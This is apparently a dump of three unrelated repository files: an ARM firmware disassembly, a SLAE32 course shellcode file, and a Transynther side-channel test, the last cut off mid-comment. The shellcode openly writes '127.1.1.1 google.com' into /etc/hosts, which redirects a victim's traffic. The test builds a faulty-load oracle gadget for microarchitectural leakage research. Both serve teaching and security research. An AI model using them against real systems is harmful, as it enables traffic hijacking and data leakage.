d002 beq.n 134 <set_wakeup_timer+0x24> 12e: 4b03 ldr r3, [pc, #12] ; (13c <set_wakeup_timer+0x2c>) 130: 2201 movs r2, #1 132: 601a str r2, [r3, #0] 134: bd10 pop {r4, pc} 136: 46c0 nop ; (mov r8, r8) 138: a0000034 .word 0xa0000034 13c: a0001300 .word 0xa0001300 Disassembly of section .text.init_interrupt: 00000140 <init_interrupt>: 140: 4a03 ldr r2, [pc, #12] ; (150 <init_interrupt+0x10>) 142: 4b04 ldr r3, [pc, #16] ; (154 <init_interrupt+0x14>) 144: 601a str r2, [r3, #0] 146: 4b04 ldr r3, [pc, #16] ; (158 <init_interrupt+0x18>) 148: 2200 movs r2, #0 14a: 601a str r2, [r3, #0] 14c: 4770 bx lr 14e: 46c0 nop ; (mov r8, r8) 150: 0001ffff .word 0x0001ffff 154: e000e280 .word 0xe000e280 158: e000e100 .word 0xe000e100 Disassembly of section .text.handler_ext_int_0: 0000015c <handler_ext_int_0>: 15c: 4b01 ldr r3, [pc, #4] ; (164 <handler_ext_int_0+0x8>) 15e: 2201 movs r2, #1 160: 601a str r2, [r3, #0] 162: 4770 bx lr 164: e000e280 .word 0xe000e280 Disassembly of section .text.handler_ext_int_1: 00000168 <handler_ext_int_1>: 168: 4b01 ldr r3, [pc, #4] ; (170 <handler_ext_int_1+0x8>) 16a: 2202 movs r2, #2 16c: 601a str r2, [r3, #0] 16e: 4770 bx lr 170: e000e280 .word 0xe000e280 Disassembly of section .text.handler_ext_int_2: 00000174 <handler_ext_int_2>: 174: 4b01 ldr r3, [pc, #4] ; (17c <handler_ext_int_2+0x8>) 176: 2204 movs r2, #4 178: 601a str r2, [r3, #0] 17a: 4770 bx lr 17c: e000e280 .word 0xe000e280 Disassembly of section .text.handler_ext_int_3: 00000180 <handler_ext_int_3>: 180: 4b01 ldr r3, [pc, #4] ; (188 <handler_ext_int_3+0x8>) 182: 2208 movs r2, #8 184: 601a str r2, [r3, #0] 186: 4770 bx lr 188: e000e280 .word 0xe000e280 Disassembly of section .text.handler_ext_int_4: 0000018c <handler_ext_int_4>: 18c: 4b01 ldr r3, [pc, #4] ; (194 <handler_ext_int_4+0x8>) 18e: 2210 movs r2, #16 190: 601a str r2, [r3, #0] 192: 4770 bx lr 194: e000e280 .word 0xe000e280 Disassembly of section .text.handler_ext_int_5: 00000198 <handler_ext_int_5>: 198: 4b01 ldr r3, [pc, #4] ; (1a0 <handler_ext_int_5+0x8>) 19a: 2220 movs r2, #32 19c: 601a str r2, [r3, #0] 19e: 4770 bx lr 1a0: e000e280 .word 0xe000e280 Disassembly of section .text.handler_ext_int_6: 000001a4 <handler_ext_int_6>: 1a4: 4b01 ldr r3, [pc, #4] ; (1ac <handler_ext_int_6+0x8>) 1a6: 2240 movs r2, #64 ; 0x40 1a8: 601a str r2, [r3, #0] 1aa: 4770 bx lr 1ac: e000e280 .word 0xe000e280 Disassembly of section .text.handler_ext_int_7: 000001b0 <handler_ext_int_7>: 1b0: 4b01 ldr r3, [pc, #4] ; (1b8 <handler_ext_int_7+0x8>) 1b2: 2280 movs r2, #128 ; 0x80 1b4: 601a str r2, [r3, #0] 1b6: 4770 bx lr 1b8: e000e280 .word 0xe000e280 Disassembly of section .text.handler_ext_int_8: 000001bc <handler_ext_int_8>: 1bc: 4b02 ldr r3, [pc, #8] ; (1c8 <handler_ext_int_8+0xc>) 1be: 2280 movs r2, #128 ; 0x80 1c0: 0052 lsls r2, r2, #1 1c2: 601a str r2, [r3, #0] 1c4: 4770 bx lr 1c6: 46c0 nop ; (mov r8, r8) 1c8: e000e280 .word 0xe000e280 Disassembly of section .text.handler_ext_int_9: 000001cc <handler_ext_int_9>: 1cc: 4b02 ldr r3, [pc, #8] ; (1d8 <handler_ext_int_9+0xc>) 1ce: 2280 movs r2, #128 ; 0x80 1d0: 0092 lsls r2, r2, #2 1d2: 601a str r2, [r3, #0] 1d4: 4770 bx lr 1d6: 46c0 nop ; (mov r8, r8) 1d8: e000e280 .word 0xe000e280 Disassembly of section .text.handler_ext_int_10: 000001dc <handler_ext_int_10>: 1dc: 4b02 ldr r3, [pc, #8] ; (1e8 <handler_ext_int_10+0xc>) 1de: 2280 movs r2, #128 ; 0x80 1e0: 00d2 lsls r2, r2, #3 1e2: 601a str r2, [r3, #0] 1e4: 4770 bx lr 1e6: 46c0 nop ; (mov r8, r8) 1e8: e000e280 .word 0xe000e280 Disassembly of section .text.handler_ext_int_11: 000001ec <handler_ext_int_11>: 1ec: 4b02 ldr r3, [pc, #8] ; (1f8 <handler_ext_int_11+0xc>) 1ee: 2280 movs r2, #128 ; 0x80 1f0: 0112 lsls r2, r2, #4 1f2: 601a str r2, [r3, #0] 1f4: 4770 bx lr 1f6: 46c0 nop ; (mov r8, r8) 1f8: e000e280 .word 0xe000e280 Disassembly of section .text.handler_ext_int_12: 000001fc <handler_ext_int_12>: 1fc: 4b02 ldr r3, [pc, #8] ; (208 <handler_ext_int_12+0xc>) 1fe: 2280 movs r2, #128 ; 0x80 200: 0152 lsls r2, r2, #5 202: 601a str r2, [r3, #0] 204: 4770 bx lr 206: 46c0 nop ; (mov r8, r8) 208: e000e280 .word 0xe000e280 Disassembly of section .text.handler_ext_int_13: 0000020c <handler_ext_int_13>: 20c: 4b02 ldr r3, [pc, #8] ; (218 <handler_ext_int_13+0xc>) 20e: 2280 movs r2, #128 ; 0x80 210: 0192 lsls r2, r2, #6 212: 601a str r2, [r3, #0] 214: 4770 bx lr 216: 46c0 nop ; (mov r8, r8) 218: e000e280 .word 0xe000e280 Disassembly of section .text.handler_ext_int_14: 0000021c <handler_ext_int_14>: 21c: 4b02 ldr r3, [pc, #8] ; (228 <handler_ext_int_14+0xc>) 21e: 2280 movs r2, #128 ; 0x80 220: 01d2 lsls r2, r2, #7 222: 601a str r2, [r3, #0] 224: 4770 bx lr 226: 46c0 nop ; (mov r8, r8) 228: e000e280 .word 0xe000e280 Disassembly of section .text.handler_ext_int_15: 0000022c <handler_ext_int_15>: 22c: 4b02 ldr r3, [pc, #8] ; (238 <handler_ext_int_15+0xc>) 22e: 2280 movs r2, #128 ; 0x80 230: 0212 lsls r2, r2, #8 232: 601a str r2, [r3, #0] 234: 4770 bx lr 236: 46c0 nop ; (mov r8, r8) 238: e000e280 .word 0xe000e280 Disassembly of section .text.handler_ext_int_16: 0000023c <handler_ext_int_16>: 23c: 4b02 ldr r3, [pc, #8] ; (248 <handler_ext_int_16+0xc>) 23e: 2280 movs r2, #128 ; 0x80 240: 0252 lsls r2, r2, #9 242: 601a str r2, [r3, #0] 244: 4770 bx lr 246: 46c0 nop ; (mov r8, r8) 248: e000e280 .word 0xe000e280 Disassembly of section .text.initialization: 0000024c <initialization>: 24c: b508 push {r3, lr} 24e: 4a07 ldr r2, [pc, #28] ; (26c <initialization+0x20>) 250: 4b07 ldr r3, [pc, #28] ; (270 <initialization+0x24>) 252: 2004 movs r0, #4 254: 601a str r2, [r3, #0] 256: 4b07 ldr r3, [pc, #28] ; (274 <initialization+0x28>) 258: 2200 movs r2, #0 25a: 601a str r2, [r3, #0] 25c: f7ff ff2c bl b8 <mbus_enumerate> 260: 20fa movs r0, #250 ; 0xfa 262: 0080 lsls r0, r0, #2 264: f7ff ff38 bl d8 <delay> 268: bd08 pop {r3, pc} 26a: 46c0 nop ; (mov r8, r8) 26c: deadbeef .word 0xdeadbeef 270: 00000570 .word 0x00000570 274: 0000056c .word 0x0000056c Disassembly of section .text.cycle0: 00000278 <cycle0>: 278: b508 push {r3, lr} 27a: 4b05 ldr r3, [pc, #20] ; (290 <cycle0+0x18>) 27c: 20a0 movs r0, #160 ; 0xa0 27e: 6819 ldr r1, [r3, #0] 280: f7ff ff12 bl a8 <mbus_write_message32> 284: 20fa movs r0, #250 ; 0xfa 286: 0080 lsls r0, r0, #2 288: f7ff ff26 bl d8 <delay> 28c: bd08 pop {r3, pc} 28e: 46c0 nop ; (mov r8, r8) 290: 0000056c .word 0x0000056c Disassembly of section .text.cycle1: 00000294 <cycle1>: 294: b508 push {r3, lr} 296: 4b05 ldr r3, [pc, #20] ; (2ac <cycle1+0x18>) 298: 20a1 movs r0, #161 ; 0xa1 29a: 6819 ldr r1, [r3, #0] 29c: f7ff ff04 bl a8 <mbus_write_message32> 2a0: 20fa movs r0, #250 ; 0xfa 2a2: 0080 lsls r0, r0, #2 2a4: f7ff ff18 bl d8 <delay> 2a8: bd08 pop {r3, pc} 2aa: 46c0 nop ; (mov r8, r8) 2ac: 0000056c .word 0x0000056c Disassembly of section .text.cycle2: 000002b0 <cycle2>: 2b0: b508 push {r3, lr} 2b2: 4b05 ldr r3, [pc, #20] ; (2c8 <cycle2+0x18>) 2b4: 20a2 movs r0, #162 ; 0xa2 2b6: 6819 ldr r1, [r3, #0] 2b8: f7ff fef6 bl a8 <mbus_write_message32> 2bc: 20fa movs r0, #250 ; 0xfa 2be: 0080 lsls r0, r0, #2 2c0: f7ff ff0a bl d8 <delay> 2c4: bd08 pop {r3, pc} 2c6: 46c0 nop ; (mov r8, r8) 2c8: 0000056c .word 0x0000056c Disassembly of section .text.cycle3: 000002cc <cycle3>: 2cc: b508 push {r3, lr} 2ce: 4b05 ldr r3, [pc, #20] ; (2e4 <cycle3+0x18>) 2d0: 20a3 movs r0, #163 ; 0xa3 2d2: 6819 ldr r1, [r3, #0] 2d4: f7ff fee8 bl a8 <mbus_write_message32> 2d8: 20fa movs r0, #250 ; 0xfa 2da: 0080 lsls r0, r0, #2 2dc: f7ff fefc bl d8 <delay> 2e0: bd08 pop {r3, pc} 2e2: 46c0 nop ; (mov r8, r8) 2e4: 0000056c .word 0x0000056c Disassembly of section .text.cycle4: 000002e8 <cycle4>: 2e8: b508 push {r3, lr} 2ea: 4b05 ldr r3, [pc, #20] ; (300 <cycle4+0x18>) 2ec: 20a4 movs r0, #164 ; 0xa4 2ee: 6819 ldr r1, [r3, #0] 2f0: f7ff feda bl a8 <mbus_write_message32> 2f4: 20fa movs r0, #250 ; 0xfa 2f6: 0080 lsls r0, r0, #2 2f8: f7ff feee bl d8 <delay> 2fc: bd08 pop {r3, pc} 2fe: 46c0 nop ; (mov r8, r8) 300: 0000056c .word 0x0000056c Disassembly of section .text.cycle5: 00000304 <cycle5>: 304: b508 push {r3, lr} 306: 4b05 ldr r3, [pc, #20] ; (31c <cycle5+0x18>) 308: 20a5 movs r0, #165 ; 0xa5 30a: 6819 ldr r1, [r3, #0] 30c: f7ff fecc bl a8 <mbus_write_message32> 310: 20fa movs r0, #250 ; 0xfa 312: 0080 lsls r0, r0, #2 314: f7ff fee0 bl d8 <delay> 318: bd08 pop {r3, pc} 31a: 46c0 nop ; (mov r8, r8) 31c: 0000056c .word 0x0000056c Disassembly of section .text.cycle6: 00000320 <cycle6>: 320: b508 push {r3, lr} 322: 4b05 ldr r3, [pc, #20] ; (338 <cycle6+0x18>) 324: 20a6 movs r0, #166 ; 0xa6 326: 6819 ldr r1, [r3, #0] 328: f7ff febe bl a8 <mbus_write_message32> 32c: 20fa movs r0, #250 ; 0xfa 32e: 0080 lsls r0, r0, #2 330: f7ff fed2 bl d8 <delay> 334: bd08 pop {r3, pc} 336: 46c0 nop ; (mov r8, r8) 338: 0000056c .word 0x0000056c Disassembly of section .text.cycle7: 0000033c <cycle7>: 33c: b508 push {r3, lr} 33e: 4b05 ldr r3, [pc, #20] ; (354 <cycle7+0x18>) 340: 20a7 movs r0, #167 ; 0xa7 342: 6819 ldr r1, [r3, #0] 344: f7ff feb0 bl a8 <mbus_write_message32> 348: 20fa movs r0, #250 ; 0xfa 34a: 0080 lsls r0, r0, #2 34c: f7ff fec4 bl d8 <delay> 350: bd08 pop {r3, pc} 352: 46c0 nop ; (mov r8, r8) 354: 0000056c .word 0x0000056c Disassembly of section .text.cycle8: 00000358 <cycle8>: 358: b508 push {r3, lr} 35a: 4b05 ldr r3, [pc, #20] ; (370 <cycle8+0x18>) 35c: 20a8 movs r0, #168 ; 0xa8 35e: 6819 ldr r1, [r3, #0] 360: f7ff fea2 bl a8 <mbus_write_message32> 364: 20fa movs r0, #250 ; 0xfa 366: 0080 lsls r0, r0, #2 368: f7ff feb6 bl d8 <delay> 36c: bd08 pop {r3, pc} 36e: 46c0 nop ; (mov r8, r8) 370: 0000056c .word 0x0000056c Disassembly of section .text.cycle9: 00000374 <cycle9>: 374: b508 push {r3, lr} 376: 4b05 ldr r3, [pc, #20] ; (38c <cycle9+0x18>) 378: 20a9 movs r0, #169 ; 0xa9 37a: 6819 ldr r1, [r3, #0] 37c: f7ff fe94 bl a8 <mbus_write_message32> 380: 20fa movs r0, #250 ; 0xfa 382: 0080 lsls r0, r0, #2 384: f7ff fea8 bl d8 <delay> 388: bd08 pop {r3, pc} 38a: 46c0 nop ; (mov r8, r8) 38c: 0000056c .word 0x0000056c Disassembly of section .text.cycle10: 00000390 <cycle10>: 390: b508 push {r3, lr} 392: 4b05 ldr r3, [pc, #20] ; (3a8 <cycle10+0x18>) 394: 20aa movs r0, #170 ; 0xaa 396: 6819 ldr r1, [r3, #0] 398: f7ff fe86 bl a8 <mbus_write_message32> 39c: 20fa movs r0, #250 ; 0xfa 39e: 0080 lsls r0, r0, #2 3a0: f7ff fe9a bl d8 <delay> 3a4: bd08 pop {r3, pc} 3a6: 46c0 nop ; (mov r8, r8) 3a8: 0000056c .word 0x0000056c Disassembly of section .text.cycle11: 000003ac <cycle11>: 3ac: b508 push {r3, lr} 3ae: 4b05 ldr r3, [pc, #20] ; (3c4 <cycle11+0x18>) 3b0: 20ab movs r0, #171 ; 0xab 3b2: 6819 ldr r1, [r3, #0] 3b4: f7ff fe78 bl a8 <mbus_write_message32> 3b8: 20fa movs r0, #250 ; 0xfa 3ba: 0080 lsls r0, r0, #2 3bc: f7ff fe8c bl d8 <delay> 3c0: bd08 pop {r3, pc} 3c2: 46c0 nop ; (mov r8, r8) 3c4: 0000056c .word 0x0000056c Disassembly of section .text.cycle12: 000003c8 <cycle12>: 3c8: b508 push {r3, lr} 3ca: 4b05 ldr r3, [pc, #20] ; (3e0 <cycle12+0x18>) 3cc: 20ac movs r0, #172 ; 0xac 3ce: 6819 ldr r1, [r3, #0] 3d0: f7ff fe6a bl a8 <mbus_write_message32> 3d4: 20fa movs r0, #250 ; 0xfa 3d6: 0080 lsls r0, r0, #2 3d8: f7ff fe7e bl d8 <delay> 3dc: bd08 pop {r3, pc} 3de: 46c0 nop ; (mov r8, r8) 3e0: 0000056c .word 0x0000056c Disassembly of section .text.cycle13: 000003e4 <cycle13>: 3e4: b508 push {r3, lr} 3e6: 4b05 ldr r3, [pc, #20] ; (3fc <cycle13+0x18>) 3e8: 20ad movs r0, #173 ; 0xad 3ea: 6819 ldr r1, [r3, #0] 3ec: f7ff fe5c bl a8 <mbus_write_message32> 3f0: 20fa movs r0, #250 ; 0xfa 3f2: 0080 lsls r0, r0, #2 3f4: f7ff fe70 bl d8 <delay> 3f8: bd08 pop {r3, pc} 3fa: 46c0 nop ; (mov r8, r8) 3fc: 0000056c .word 0x0000056c Disassembly of section .text.cycle14: 00000400 <cycle14>: 400: b508 push {r3, lr} 402: 4b05 ldr r3, [pc, #20] ; (418 <cycle14+0x18>) 404: 20ae movs r0, #174 ; 0xae 406: 6819 ldr r1, [r3, #0] 408: f7ff fe4e bl a8 <mbus_write_message32> 40c: 20fa movs r0, #250 ; 0xfa 40e: 0080 lsls r0, r0, #2 410: f7ff fe62 bl d8 <delay> 414: bd08 pop {r3, pc} 416: 46c0 nop ; (mov r8, r8) 418: 0000056c .word 0x0000056c Disassembly of section .text.cycle15: 0000041c <cycle15>: 41c: b508 push {r3, lr} 41e: 4b05 ldr r3, [pc, #20] ; (434 <cycle15+0x18>) 420: 20af movs r0, #175 ; 0xaf 422: 6819 ldr r1, [r3, #0] 424: f7ff fe40 bl a8 <mbus_write_message32> 428: 20fa movs r0, #250 ; 0xfa 42a: 0080 lsls r0, r0, #2 42c: f7ff fe54 bl d8 <delay> 430: bd08 pop {r3, pc} 432: 46c0 nop ; (mov r8, r8) 434: 0000056c .word 0x0000056c Disassembly of section .text.startup.main: 00000438 <main>: 438: b538 push {r3, r4, r5, lr} 43a: f7ff fe81 bl 140 <init_interrupt> 43e: 4b45 ldr r3, [pc, #276] ; (554 <main+0x11c>) 440: 681a ldr r2, [r3, #0] 442: 4b45 ldr r3, [pc, #276] ; (558 <main+0x120>) 444: 429a cmp r2, r3 446: d001 beq.n 44c <main+0x14> 448: f7ff ff00 bl 24c <initialization> 44c: 2400 movs r4, #0 44e: 4d43 ldr r5, [pc, #268] ; (55c <main+0x124>) 450: 682b ldr r3, [r5, #0] 452: 2b00 cmp r3, #0 454: d104 bne.n 460 <main+0x28> 456: 20fa movs r0, #250 ; 0xfa 458: 0080 lsls r0, r0, #2 45a: f7ff fe3d bl d8 <delay> 45e: e057 b.n 510 <main+0xd8> 460: 230f movs r3, #15 462: 4023 ands r3, r4 464: d102 bne.n 46c <main+0x34> 466: f7ff ff07 bl 278 <cycle0> 46a: e047 b.n 4fc <main+0xc4> 46c: 2b01 cmp r3, #1 46e: d102 bne.n 476 <main+0x3e> 470: f7ff ff10 bl 294 <cycle1> 474: e042 b.n 4fc <main+0xc4> 476: 2b02 cmp r3, #2 478: d102 bne.n 480 <main+0x48> 47a: f7ff ff19 bl 2b0 <cycle2> 47e: e03d b.n 4fc <main+0xc4> 480: 2b03 cmp r3, #3 482: d102 bne.n 48a <main+0x52> 484: f7ff ff22 bl 2cc <cycle3> 488: e038 b.n 4fc <main+0xc4> 48a: 2b04 cmp r3, #4 48c: d102 bne.n 494 <main+0x5c> 48e: f7ff ff2b bl 2e8 <cycle4> 492: e033 b.n 4fc <main+0xc4> 494: 2b05 cmp r3, #5 496: d102 bne.n 49e <main+0x66> 498: f7ff ff34 bl 304 <cycle5> 49c: e02e b.n 4fc <main+0xc4> 49e: 2b06 cmp r3, #6 4a0: d102 bne.n 4a8 <main+0x70> 4a2: f7ff ff3d bl 320 <cycle6> 4a6: e029 b.n 4fc <main+0xc4> 4a8: 2b07 cmp r3, #7 4aa: d102 bne.n 4b2 <main+0x7a> 4ac: f7ff ff46 bl 33c <cycle7> 4b0: e024 b.n 4fc <main+0xc4> 4b2: 2b08 cmp r3, #8 4b4: d102 bne.n 4bc <main+0x84> 4b6: f7ff ff4f bl 358 <cycle8> 4ba: e01f b.n 4fc <main+0xc4> 4bc: 2b09 cmp r3, #9 4be: d102 bne.n 4c6 <main+0x8e> 4c0: f7ff ff58 bl 374 <cycle9> 4c4: e01a b.n 4fc <main+0xc4> 4c6: 2b0a cmp r3, #10 4c8: d102 bne.n 4d0 <main+0x98> 4ca: f7ff ff61 bl 390 <cycle10> 4ce: e015 b.n 4fc <main+0xc4> 4d0: 2b0b cmp r3, #11 4d2: d102 bne.n 4da <main+0xa2> 4d4: f7ff ff6a bl 3ac <cycle11> 4d8: e010 b.n 4fc <main+0xc4> 4da: 2b0c cmp r3, #12 4dc: d102 bne.n 4e4 <main+0xac> 4de: f7ff ff73 bl 3c8 <cycle12> 4e2: e00b b.n 4fc <main+0xc4> 4e4: 2b0d cmp r3, #13 4e6: d102 bne.n 4ee <main+0xb6> 4e8: f7ff ff7c bl 3e4 <cycle13> 4ec: e006 b.n 4fc <main+0xc4> 4ee: 2b0e cmp r3, #14 4f0: d102 bne.n 4f8 <main+0xc0> 4f2: f7ff ff85 bl 400 <cycle14> 4f6: e001 b.n 4fc <main+0xc4> 4f8: f7ff ff90 bl 41c <cycle15> 4fc: 682b ldr r3, [r5, #0] 4fe: 20fa movs r0, #250 ; 0xfa 500: 3301 adds r3, #1 502: 0080 lsls r0, r0, #2 504: 3401 adds r4, #1 506: 602b str r3, [r5, #0] 508: f7ff fde6 bl d8 <delay> 50c: 2c64 cmp r4, #100 ; 0x64 50e: d19e bne.n 44e <main+0x16> 510: 4b12 ldr r3, [pc, #72] ; (55c <main+0x124>) 512: 4a13 ldr r2, [pc, #76] ; (560 <main+0x128>) 514: 6819 ldr r1, [r3, #0] 516: 4291 cmp r1, r2 518: d108 bne.n 52c <main+0xf4> 51a: 20dd movs r0, #221 ; 0xdd 51c: 4911 ldr r1, [pc, #68] ; (564 <main+0x12c>) 51e: f7ff fdc3 bl a8 <mbus_write_message32> 522: 20fa movs r0, #250 ; 0xfa 524: 0080 lsls r0, r0, #2 526: f7ff fdd7 bl d8 <delay> 52a: e7fe b.n 52a <main+0xf2> 52c: 681a ldr r2, [r3, #0] 52e: 490e ldr r1, [pc, #56] ; (568 <main+0x130>) 530: 3201 adds r2, #1 532: 20dd movs r0, #221 ; 0xdd 534: 601a str r2, [r3, #0] 536: f7ff fdb7 bl a8 <mbus_write_message32> 53a: 20fa movs r0, #250 ; 0xfa 53c: 0080 lsls r0, r0, #2 53e: f7ff fdcb bl d8 <delay> 542: 2101 movs r1, #1 544: 2002 movs r0, #2 546: 1c0a adds r2, r1, #0 548: f7ff fde2 bl 110 <set_wakeup_timer> 54c: f7ff fdbe bl cc <mbus_sleep_all> 550: 2001 movs r0, #1 552: bd38 pop {r3, r4, r5, pc} 554: 00000570 .word 0x00000570 558: deadbeef .word 0xdeadbeef 55c: 0000056c .word 0x0000056c 560: 000003e7 .word 0x000003e7 564: 0ea70ea7 .word 0x0ea70ea7 568: 0ea7f00d .word 0x0ea7f00d
31.611582
67
0.590635
7837c0ffab0cfbc697cfa9bd9330bfca6357fbd3
2,426
nasm
Assembly
assignment6/shellcode-893-modified.nasm
tdmathison/SLAE32
ca19cb8079ba2ccf8362c39e5bb257efc72d452e
[ "MIT" ]
null
null
null
assignment6/shellcode-893-modified.nasm
tdmathison/SLAE32
ca19cb8079ba2ccf8362c39e5bb257efc72d452e
[ "MIT" ]
null
null
null
assignment6/shellcode-893-modified.nasm
tdmathison/SLAE32
ca19cb8079ba2ccf8362c39e5bb257efc72d452e
[ "MIT" ]
null
null
null
; Modified version of shellcode-893 ; This was created as part of the SecurityTube Linux Assembly Expert ; course at http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ ; ; Travis Mathison ; ; The MIT License (MIT) ; ; Copyright (c) 2018 Travis Mathison ; ; Permission is hereby granted, free of charge, to any person obtaining a copy ; of this software and associated documentation files (the "Software"), to deal ; in the Software without restriction, including without limitation the rights ; to use, copy, modify, merge, publish, distribute, sublicense, and/or sell ; copies of the Software, and to permit persons to whom the Software is ; furnished to do so, subject to the following conditions: ; ; The above copyright notice and this permission notice shall be included in all ; copies or substantial portions of the Software. ; ; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE ; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER ; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, ; OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE ; SOFTWARE. ; ; BUILD: ; nasm -f elf32 ./shellcode-893-modified.nasm -o shellcode-893-modified.o ; ld ./shellcode-893-modified.o -o shellcode-893-modified global _start section .text _start: xor eax, eax ; eax = 0 cdq ; edx = 0 push byte 5 ; #define __NR_open 5 pop eax ; eax = 5 push edx ; push null byte jmp short _file _file_load: pop ebx ; ebx = "/etc/hosts" mov cx, 0x401 ; permmisions int 0x80 ; open file xchg eax, ebx ; store fd in ebx push byte 4 ; #define __NR_write 4 pop eax ; jmp short _load_data _write: pop ecx ; ecx = "127.1.1.1 google.com" push 0x14 ; length of the string pop edx ; edx = 20 int 0x80 ; write to file push 0x6 pop eax int 0x80 ; close the file push 0x1 pop eax int 0x80 ; exit _load_data: call _write db "127.1.1.1 google.com" _file: call _file_load db "/etc/hosts"
32.346667
95
0.663644
98acf75092bd638e5b0f604ff0066771732c9da7
7,713
asm
Assembly
Transynther/x86/_processed/NONE/_ht_zr_/i9-9900K_12_0xca.log_542_327.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_ht_zr_/i9-9900K_12_0xca.log_542_327.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_ht_zr_/i9-9900K_12_0xca.log_542_327.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r15 push %r8 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_normal_ht+0x18f1d, %r13 nop nop sub %r15, %r15 movb (%r13), %r12b nop nop nop and $6523, %r8 lea addresses_A_ht+0x17378, %rdx nop add $24684, %rax mov (%rdx), %cx nop nop sub $22361, %rax lea addresses_UC_ht+0x11d78, %r12 cmp $26601, %r13 mov $0x6162636465666768, %rcx movq %rcx, (%r12) inc %rcx lea addresses_WT_ht+0xc072, %r15 nop nop nop add $54089, %r13 movl $0x61626364, (%r15) nop nop nop nop cmp %r13, %r13 lea addresses_WC_ht+0x1978, %rdx add %r15, %r15 movups (%rdx), %xmm3 vpextrq $0, %xmm3, %rcx add $38876, %r15 lea addresses_WT_ht+0x10ff8, %r12 inc %rcx movb (%r12), %al inc %rcx lea addresses_A_ht+0x8778, %rsi lea addresses_normal_ht+0xfd78, %rdi clflush (%rdi) nop nop nop nop nop cmp %r13, %r13 mov $53, %rcx rep movsl nop nop nop nop nop dec %r13 lea addresses_WC_ht+0x1ec78, %rsi lea addresses_WC_ht+0x64f8, %rdi nop nop add %rdx, %rdx mov $15, %rcx rep movsl nop nop nop nop nop xor %rdx, %rdx lea addresses_UC_ht+0xe4cc, %rsi lea addresses_WT_ht+0x1e3d0, %rdi nop nop nop nop nop xor $58834, %r15 mov $102, %rcx rep movsl nop nop nop nop nop and $34529, %r8 lea addresses_WC_ht+0x6de8, %r13 nop nop and $50178, %r12 movl $0x61626364, (%r13) nop nop nop sub $29086, %rax lea addresses_WC_ht+0x12578, %rdi nop xor %rsi, %rsi mov (%rdi), %r15 nop nop nop sub %rsi, %rsi lea addresses_normal_ht+0x10c4c, %rsi nop nop nop sub %rdx, %rdx mov (%rsi), %di nop nop nop dec %rdi lea addresses_UC_ht+0x11978, %rsi lea addresses_WC_ht+0xbd78, %rdi and $63215, %r13 mov $69, %rcx rep movsq and %r12, %r12 pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r8 pop %r15 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r13 push %rax push %rbp push %rbx push %rcx push %rdx push %rsi // Store lea addresses_WC+0xc178, %rax nop nop nop nop xor $49942, %rbp movw $0x5152, (%rax) nop nop nop nop sub %rbx, %rbx // Store lea addresses_WC+0x111c4, %rbx and %rcx, %rcx movl $0x51525354, (%rbx) nop nop and $47877, %rbp // Store lea addresses_UC+0x96cc, %rdx nop dec %r13 movw $0x5152, (%rdx) nop nop inc %rbx // Store lea addresses_WC+0x11a78, %rsi nop nop and %rcx, %rcx movw $0x5152, (%rsi) nop nop nop nop dec %rax // Store lea addresses_WT+0xd66a, %rdx add $30322, %rsi movl $0x51525354, (%rdx) cmp $59175, %rbx // Load lea addresses_WC+0x12d78, %rcx nop cmp $60995, %rbp mov (%rcx), %r13w and $13721, %rsi // Store lea addresses_UC+0xf178, %rsi clflush (%rsi) nop nop inc %r13 mov $0x5152535455565758, %rcx movq %rcx, %xmm7 movaps %xmm7, (%rsi) add %rsi, %rsi // Store lea addresses_normal+0xdf77, %rbp nop nop nop nop and %rax, %rax movl $0x51525354, (%rbp) nop nop nop nop nop and %rcx, %rcx // Faulty Load lea addresses_WC+0x12d78, %r13 inc %rdx vmovups (%r13), %ymm1 vextracti128 $1, %ymm1, %xmm1 vpextrq $0, %xmm1, %rbp lea oracles, %rdx and $0xff, %rbp shlq $12, %rbp mov (%rdx,%rbp,1), %rbp pop %rsi pop %rdx pop %rcx pop %rbx pop %rbp pop %rax pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': False, 'congruent': 10}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_UC', 'same': False, 'AVXalign': False, 'congruent': 2}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': False, 'congruent': 8}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_WT', 'same': False, 'AVXalign': False, 'congruent': 1}} {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_WC', 'same': True, 'AVXalign': True, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_UC', 'same': False, 'AVXalign': True, 'congruent': 8}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': False, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 